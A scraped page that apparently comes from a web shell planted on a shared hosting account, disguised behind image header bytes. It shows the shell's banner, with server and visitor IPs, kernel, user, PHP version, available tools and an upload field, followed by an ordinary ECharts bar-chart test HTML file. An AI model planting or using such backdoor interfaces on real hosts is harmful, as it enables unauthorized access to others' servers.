����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.133.100.106 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/ideyshare.name.ng/app/assets/admin/vendors/echarts/test/ |
Upload File : |
<html> <head> <meta charset="utf-8"> <script src="esl.js"></script> <script src="config.js"></script> </head> <body> <style> html, body, #main { width: 100%; height: 100%; } </style> <div id="main"></div> <script> require([ 'echarts', 'echarts/chart/bar', 'echarts/component/legend', 'echarts/component/grid', 'echarts/component/axis', 'echarts/component/dataZoom' ], function (echarts) { var chart = echarts.init(document.getElementById('main'), null, { renderer: 'canvas' }); var xAxisData = []; var data1 = []; var data2 = []; var data3 = []; for (var i = 0; i < 20; i++) { xAxisData.push('类目' + i); data1.push(Math.random() * 2); data2.push(Math.random() * 2); data3.push(Math.random() * 2); } chart.setOption({ legend: { data: ['bar', 'bar2', 'bar3'] }, xAxis: { // data: ['类目1', '类目2', '类目3', '类目4', '类目5',] data: xAxisData, boundaryGap: true }, yAxis: { // scale: true boundaryGap: false }, series: [ { name: 'bar', type: 'bar', data: data1 }, { name: 'bar2', type: 'bar', data: data2 }, { name: 'bar3', type: 'bar', data: data3 } ], dataZoom: { show: true, orient: 'vertical', yAxisIndex: [0] } }); }) </script> </body> </html>